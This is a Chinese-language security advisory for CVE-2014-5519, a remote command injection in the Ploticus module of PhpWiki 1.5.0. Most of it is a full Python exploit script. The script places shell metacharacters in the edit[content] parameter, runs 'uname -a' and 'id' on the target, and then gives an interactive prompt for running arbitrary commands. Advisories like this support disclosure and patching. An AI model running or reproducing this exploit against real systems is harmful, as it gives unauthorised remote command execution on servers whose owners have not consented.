安全研究

安全漏洞
PhpWiki Ploticus模块命令注入漏洞

发布日期:2014-08-27
更新日期:2014-08-27

受影响系统:
PhpWiki PhpWiki 1.5.0
描述:
BUGTRAQ  ID: 69444
CVE(CAN) ID: CVE-2014-5519

PhpWiki是用PHP编写的WikiWikiWeb。

PhpWiki 1.5.0版本中,Ploticus模块存在远程命令注入漏洞,远程攻击者通过index.php/HeIp的edit[content]参数设备选项中shell元字符,利用此漏洞可执行任意代码。

<*来源:Benjamin Harris
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

###############################################################
#    ____                    __                  _ __   _
#   / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)
#  / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ /
# / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  
#/_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/  
#             /_/ /_/         /_/                    
# Diskovered in Nov/Dec 2011
###############################################################

import urllib
import urllib2
import sys
def banner():
    print "        ____                    __                  _ __   _ "
    print "       / __/_  ______ _  ____  / /_  ____ _      __(_) /__(_)"
    print "      / /_/ / / / __ `/ / __ \/ __ \/ __ \ | /| / / / //_/ / "
    print "     / __/ /_/ / /_/ / / /_/ / / / / /_/ / |/ |/ / / ,< / /  "
    print "    /_/  \__,_/\__, (_) .___/_/ /_/ .___/|__/|__/_/_/|_/_/   "
    print "                 /_/ /_/         /_/                     \n"


def usage():
    banner()
    print "    [+] Usage example"
    print "    [-] python " + sys.argv[0] + " http://path.to/wiki"

if len(sys.argv)< 2:
    usage()
    quit()

domain = sys.argv[1]
def commandexec(cmd):
    data = urllib.urlencode([('pagename','HeIp'),('edit[content]','<<Ploticus device=";echo 123\':::\' 1>&2;'+cmd+' 1>&2;echo \':::\'123 1>&2;" -prefab= -csmap= data= alt= help= >>'),('edit[preview]','Preview'),('action','edit')])
    cmd1 = urllib2.Request(domain +'/index.php/HeIp',data)
    cmd2 = urllib2.urlopen(cmd1)
    output = cmd2.read()
    firstloc = output.find("123:::\n") + len("123:::\n")
    secondloc = output.find("\n:::123")
    return output[firstloc:secondloc]


banner()
print commandexec('uname -a')
print commandexec('id')
while(quit != 1):
    cmd = raw_input('Run a command: ')
    if cmd == 'quit':
        print "[-] Hope you had fun :)"
        quit = 1
    if cmd != 'quit':
        print commandexec(cmd)

建议:
厂商补丁:

PhpWiki
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

https://sourceforge.net/projects/phpwiki/

浏览次数:2537
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障